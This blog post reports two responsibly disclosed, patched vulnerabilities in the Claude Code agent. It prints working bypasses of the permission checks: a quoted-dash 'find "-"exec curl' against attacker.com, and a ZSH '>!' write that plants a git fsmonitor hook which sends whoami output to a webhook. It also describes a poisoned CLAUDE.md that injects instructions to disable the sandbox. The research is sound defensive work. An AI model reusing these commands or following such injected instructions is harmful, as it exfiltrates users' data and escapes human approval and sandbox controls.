Finding Claude 0days using Claude: Command Injection & Sandbox Escape

There’s a certain poetic irony in using a tool to discover vulnerabilities in itself. That’s what happened when I found two command injection vulnerabilities in Claude Code while using Claude Code for my regular development workflow. Both vulnerabilities, CVE-2026-24053 and CVE-2026-24887 also allowed sandbox escape, and together they netted $7,400 in bug bounties from Anthropic after a few days of research. Both of these vulnerabilities were identified through a fully autonomous agent harness.

The Vulnerabilities at a Glance

CVE Vulnerability Bounty
CVE-2026-24887 Quoted dash bypass in find -exec $3,700
CVE-2026-24053 ZSH clobber path restriction bypass $3,700

Both vulnerabilities are now patched. Here’s the story of how I found them.

Background: Claude Code’s Permission Architecture

Before diving into the vulnerabilities, it’s essential to understand how Claude Code’s multi-layered permission system works. This isn’t a simple allow/deny system—it’s a complex architecture with multiple scopes, regex-based validation, and even secondary LLM checks.

Permission Scopes and Hierarchy

Claude Code uses a strict hierarchy where higher-precedence sources override lower-precedence ones:

1
Enterprise (managed) > CLI flags > Local Project > Shared Project > User > Defaults

Each scope has its own configuration file:

Scope File Location Purpose
Shared project .claude/settings.json Team-wide rules, checked into source control
Local project .claude/settings.local.json Personal overrides (gitignored)
User (global) ~/.claude/settings.json Personal settings applying to all projects
Managed managed-settings.json Enterprise policies, cannot be overridden

Within each settings file, you can define three types of permission rules:

  • allow: Automatically approves matching commands (no user prompt)
  • deny: Completely blocks matching commands (always overrides allow)
  • ask: Forces confirmation prompt even if there’s a matching allow rule

The evaluation order is: deny rules first, then ask, then allow. First match wins.

The Bash Tool Validation Pipeline

When Claude Code wants to execute a bash command, it goes through a multi-stage validation pipeline. The BashCommand tool’s checkPermissions method returns one of four states:

  1. Deny – Action explicitly blocked; no further evaluation
  2. Allow – Execute without user prompt; no further evaluation
  3. Ask – Prompt user for permission; no further evaluation
  4. Passthrough – Continue to additional checks

The validation happens in sequence:

  1. Regex whitelist check: Commands are matched against patterns in safeCommandsAndArgs
  2. Flag validation: Specific flags are validated against allowed patterns
  3. Secondary LLM validation: Anthropic’s Haiku model analyzes command prefixes for injection attempts
  4. User prompting: Commands failing all automated checks trigger the approval modal

Regex-Based Safe Command Detection

At the heart of Claude Code’s bash validation is a massive collection of regular expressions. As noted in SpecterOps’ “An Evening with Claude (Code)” research, “The huge list of regular expressions appears to be a method of stemming the bleeding.”

The safeCommandsAndArgs object defines which commands and flags are considered safe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
safeCommandsAndArgs = {
xargs: {
safeFlags: {
"-I": "{}",
"-n": "number",
"-P": "number"
}
},
sed: {
safeFlags: {
"-e": "string",
"-n": "none",
"-r": "none"
},
additionalCommandIsDangerousCallback: additionalSEDChecks
}
}

For example, the find command regex explicitly tries to exclude dangerous arguments:

1
/^find(?:\s+(?:(?!-delete\b|-exec\b)...$/

This negative lookahead attempts to block -exec from being auto-approved. But regex has limits—it’s pattern matching, not semantic parsing.

The Sandbox: OS-Level Isolation

Claude Code offers an OS-level sandbox that restricts file operations to the project workspace. When enabled with “regular bash permissions,” commands attempting to write outside the workspace are blocked at the OS level.

Critically, there’s also a dangerouslyDisableSandbox parameter that Claude can pass to the Bash tool. When set to true, the command runs outside the sandbox. Normally, this displays the approval modal with an (unsandboxed) warning tag, so users know they’re approving an unsandboxed operation.

The Discovery Journey

I was working on a project and had configured specific permission settings. But something was off; certain commands weren’t prompting me for approval when I expected them to.

I started experimenting with different permission scopes. I tried adding a permission rule at the user level, then overriding it at the project level. The behavior made sense according to the hierarchy. But then I noticed something: some commands executed without any prompt regardless of my settings.

This led me to investigate which commands are auto-approved by default. Commands like find, ls, git status, and echo are considered “safe” and auto-execute without the “Do you want to proceed?” modal. The safety determination is made by those regex patterns in safeCommandsAndArgs.

The obvious conclusion, then, is that regex-based security boundaries, and in turn the command approvals, are inherently fragile. Shell syntax is complex, with multiple ways to express the same semantic meaning. Once I realized this, I was going to dig until I found at least a few bugs.

CVE-2026-24887: The Quoted Dash Bypass

The Vulnerability

The find command is auto-approved by default because it’s considered a read-only file search tool. However, find with the -exec flag can execute arbitrary commands, so the regex explicitly blocks it:

1
(?!-exec\b)

This negative lookahead checks for -exec as a word boundary. But what happens if we quote the dash?

The Bypass Pattern

1
find . -maxdepth 0 "-"exec curl https://attacker.com \;

By writing "-"exec instead of -exec, bash interprets it identically—the dash is just a character in the argument. But the regex pattern doesn’t match because there’s no literal -exec token. The command auto-executes without any approval prompt.

Proof of Concept

Here’s the default behavior: curl requires approval:

By default, curl asks for permission

And here’s the bypass in action, executing without any prompt:

No modal, no problem

The exfiltrated data successfully reached the webhook:

Special delivery

The Sandbox Escape

Here’s where it gets interesing. The command injection alone is severe, but I discovered it could also escape Claude Code’s OS-level sandbox.

The mechanism works like this:

  1. The sandbox IS enabled and enforced for normal operations
  2. Writing files outside the workspace normally requires the (unsandboxed) approval modal
  3. A malicious CLAUDE.md can instruct Claude to invoke Bash with dangerouslyDisableSandbox: true
  4. Since the command injection bypasses the approval modal entirely, the user never sees the (unsandboxed) warning
  5. The command executes outside the sandbox without user consent

From my HackerOne report:

This is not only a permission prompt bypass, but also allows sandbox escape when the prompt includes instructions to include the Bash argument dangerouslyDisableSandbox: true. Users who enable sandbox mode to protect against files being written outside of the project workspace, or any other sandbox restrictions, are not protected.

Reading and writing outside the workspace, uninvited

This demonstrates the three-part chain:

  1. find "-"exec cat /home/kali/ARB.txt reads a file outside the workspace
  2. find "-"exec touch /home/kali/GAME_SETUP.txt writes a file outside the workspace
  3. Both executed without approval, with sandbox enabled

CVE-2026-24053: ZSH Clobber Path Restriction Bypass

The Vulnerability

Claude Code’s path validation ensures file writes stay within the project workspace. Writing outside the workspace triggers the approval modal:

The intended behavior

Even if you approve, the sandbox blocks it:

Denied at the OS level

But Claude Code’s validation was designed primarily for Bash semantics. ZSH (the default shell on macOS and common Linux distributions like Kali) has a special “clobber” operator: >!

The Bypass Pattern

1
echo "malicious content" >! /arbitrary/path/outside/workspace

The >! operator in ZSH forces file overwriting, but more importantly, Claude Code’s regex validation wasn’t looking for this pattern. It expected > for redirects, not >!.

One little exclamation mark

The file write succeeded without any approval modal, even with sandbox enabled.

Weaponization: Git Hooks for Code Execution

A file write primitive is useful, but how do we achieve arbitrary command execution? The answer: git’s fsmonitor hook.

The .git/config file can specify an fsmonitor command that executes whenever git checks the working directory status. And critically, git status is an auto-approved command.

Full Attack Chain

  1. Write malicious git config using the ZSH clobber bypass:
1
2
echo '[core]
fsmonitor = "curl https://webhook.site/xxx?data=$(whoami)"' >! .git/config
  1. Trigger with auto-approved command:
1
git status

The git status command is auto-approved and executes without any modal. But because we’ve poisoned the config with an fsmonitor hook, our arbitrary command runs as a side effect.

git status never looked so dangerous

The attack successfully exfiltrated the output of whoami:

Caught in the act

Sandbox Escape

Like CVE-2026-24887, this vulnerability also escapes the sandbox. From my report:

Due to bypassing permission prompts for both sandboxed and non-sandboxed executions, this escapes the OS-level sandbox entirely. Claude can decide whether to invoke Bash with dangerouslyDisableSandbox: true, and if it does, the arbitrary file can be written (or the git hook can be executed) even when sandbox is enabled with regular bash permissions.

Requirements

  • ZSH shell (default on macOS, common on Linux)
  • For the full attack chain: an initialized git repository with at least one commit

Attack Vectors

These vulnerabilities can be exploited through multiple real-world vectors:

Malicious Repository Clone

An attacker creates a repository with a poisoned CLAUDE.md file. When a victim clones the repo and uses Claude Code, the instructions trigger the vulnerable commands.

The PoC CLAUDE.md files I created disguised the attack as a game setup process while silently executing the payload.

Indirect Prompt Injection

The vulnerabilities can be triggered through:

  • WebFetch: Malicious content on websites Claude is asked to analyze
  • Git Issues/PRs: Payload hidden in issue descriptions Claude reads
  • MCP Servers: Remotely hosted MCP servers can inject malicious content
  • Any external data: Anywhere untrusted content enters Claude’s context window

From my report:

The vulnerability is irrespective of model alignment and can be exploited through a multitude of attack scenarios – not only limited to a victim cloning a project with a poisoned CLAUDE.md.

The Core Problem: Regex as Security Boundary

Both vulnerabilities share the same root cause: using regex patterns to make security decisions about shell commands.

Shell syntax is incredibly complex. There are multiple ways to express the same command:

1
2
3
4
5
# All equivalent in bash:
find . -exec whoami \;
find . "-exec" whoami \;
find . '-exec' whoami \;
find . "-"exec whoami \;

As the GMO Flatt Security research documented, researchers have found numerous bypass techniques:

  • $IFS variable expansion bypassing \S+ patterns
  • Git abbreviated arguments (--upload-pa instead of --upload-pack)
  • Bash variable expansion chains with @P modifier
  • sed expression parsing with the e execution modifier
  • And many more…

The fundamental issue: blocklist approaches fail because they cannot anticipate all dangerous patterns. You’re essentially trying to parse a shell language with regex, which is a losing battle.

Responsible Disclosure

I reported both vulnerabilities to Anthropic through their HackerOne bug bounty program.

CVE Bounty Status
CVE-2026-24887 $3,700 Patched
CVE-2026-24053 $3,700 Patched

Anthropic’s security team was responsive and professional. Both vulnerabilities are now fixed in current versions of Claude Code.

Key Takeaways

1. Regex Cannot Parse Shell Commands Securely

Using regex to determine command safety is fundamentally fragile. Shell syntax has too many edge cases, quoting rules, and shell-specific behaviors. ZSH operators like >! weren’t considered. Security mechanisms need to parse commands the same way the shell does – not approximate it with patterns.

2. Sandbox Bypass Through Prompt Injection - An architectural choice

The sandbox escape mechanism is particularly concerning and is unlikely to be patched. Even when users enable sandbox protection, a malicious prompt can instruct Claude to use dangerouslyDisableSandbox: true. Combined with a command injection that bypasses the approval modal, the user never sees the (unsandboxed) warning that would normally alert them. It’s an inherently risky archtectural decision rather than a standalone vulnerability.

3. Defense in Depth

Multiple security layers should be independent. The sandbox should enforce restrictions regardless of whether the approval modal was shown. Permission scopes should be evaluated server-side, not just client-side. Auto-approval should be about user convenience, not about bypassing security boundaries.

Conclusion

Finding vulnerabilities in Claude Code using Claude Code was an unexpected turn in my regular development workflow. What started as confusion about why my permission settings weren’t working as expected led to discovering two sandbox escape vulnerabilities worth $7,400.

The core lesson: regex-based security decisions can be bypassed with creative syntax. Whether it’s quoting a dash in find "-"exec or using ZSH’s >! operator, there’s usually a way to express the same intent differently.

For Claude Code users: make sure you’re running the latest version where these issues are patched.

For security researchers: the SpecterOps blog post describes how to extract Claude Code’s source via source maps, enabling you to unit-test the validation logic directly without prompting Claude every time. This dramatically shortens the feedback loop for finding bypasses.

For tool developers: consider whitelist approaches over blacklists, implement server-side validation for security-critical decisions, and remember that your users might be running different shells than you tested with.


References:

  • Copyrights © 2021-2026 blindCyber

请我喝杯咖啡吧~

支付宝
微信